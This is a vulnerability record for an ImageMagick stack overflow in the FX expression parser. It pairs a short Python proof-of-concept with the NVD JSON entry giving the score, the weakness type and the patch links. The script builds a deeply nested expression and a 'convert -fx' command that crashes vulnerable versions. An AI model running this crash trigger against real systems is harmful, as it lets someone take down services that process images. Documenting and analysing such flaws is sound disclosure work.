CVE-2026-33902

import os # Generate a deeply nested FX expression to trigger the stack overflow # Create a nested string like 'u[u[...[0]...]]' depth = 10000 nested_expr = "u[" * depth + "0" + "]" * depth # Command to execute ImageMagick with the malicious expression # Note: Ensure ImageMagick is installed and vulnerable version is used image_file = "input.png" output_file = "output.png" cmd = f"convert {image_file} -fx \"{nested_expr}\" {output_file}" print(f"Running command to trigger vulnerability: {cmd[:100]}...") # os.system(cmd) # Uncomment to execute

{"cve": {"id": "CVE-2026-33902", "sourceIdentifier": "[email protected]", "published": "2026-04-13T22:16:28.680", "lastModified": "2026-04-17T20:46:33.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below both 7.1.2-19 and 6.9.13-44, a stack overflow vulnerability in ImageMagick's FX expression parser allows an attacker to crash the process by providing a deeply nested expression. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.9.13-44", "matchCriteriaId": "FEBAB6BF-AFEC-4D29-95E8-88C4585C9896"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0-0", "versionEndExcluding": "7.1.2-19", "matchCriteriaId": "80D20334-B25F-479D-A411-DBD1364D303C"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/commit/d3c0a37485314c5ccef72efb18f3847cd53868ba", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-f4qm-vj5j-9xpw", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}